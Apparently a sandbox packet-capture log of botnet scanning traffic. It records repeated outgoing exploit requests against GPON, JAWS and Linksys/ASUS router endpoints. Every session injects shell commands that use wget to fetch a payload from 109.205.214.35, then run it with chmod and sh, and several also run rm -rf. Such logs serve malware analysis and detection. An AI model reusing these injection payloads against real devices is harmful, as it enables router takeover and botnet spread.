XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1304	192.168.2.23	56640	212.201.167.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360450983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1305	192.168.2.23	58136	79.156.246.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360450983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1306	192.168.2.23	58146	178.35.26.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360466003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1307	192.168.2.23	58488	178.49.89.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360472918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1308	192.168.2.23	55942	79.204.179.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360487938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1309	192.168.2.23	37644	118.186.107.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360528946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1310	192.168.2.23	50154	42.191.153.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360528946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1311	192.168.2.23	42700	109.117.80.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360569000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1312	192.168.2.23	56084	23.196.216.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:45.091850042 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:45.705709934 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:45.817778111 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:26:45 GMT Date: Thu, 21 Mar 2024 04:26:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 39 62 66 38 64 61 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 32 30 35 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.9bf8da17.1710995205.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1313	192.168.2.23	38712	91.218.188.247	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:45.155069113 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:45.336754084 CET	450	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1314	192.168.2.23	39868	41.225.233.153	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:45.186275959 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:46.313592911 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1315	192.168.2.23	42074	18.233.18.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:45.262947083 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1316	192.168.2.23	53860	187.72.230.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:45.578330994 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:45.829365969 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:26:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1317	192.168.2.23	48108	172.65.223.69	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:45.801610947 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1318	192.168.2.23	57556	103.12.49.145	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:46.442210913 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:50.539527893 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:56.680181980 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:27:08.710475922 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1319	192.168.2.23	42878	172.67.51.252	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:48.561069012 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:49.067523003 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1320	192.168.2.23	47200	172.65.72.202	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:48.561320066 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:48.845670938 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1321	192.168.2.23	44860	172.65.30.254	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:48.561419010 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:48.845705986 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1322	192.168.2.23	49198	172.64.32.158	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:48.561655045 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:48.845710039 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1323	192.168.2.23	56126	4.208.97.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:48.624198914 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1324	192.168.2.23	42006	2.110.35.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:50.380263090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1325	192.168.2.23	43040	5.236.234.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:50.380670071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1326	192.168.2.23	33950	212.141.15.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:50.380754948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1327	192.168.2.23	44930	172.65.155.75	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:50.771724939 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1328	192.168.2.23	48432	172.65.60.204	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:50.771753073 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1329	192.168.2.23	49834	172.87.215.118	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:51.111763954 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
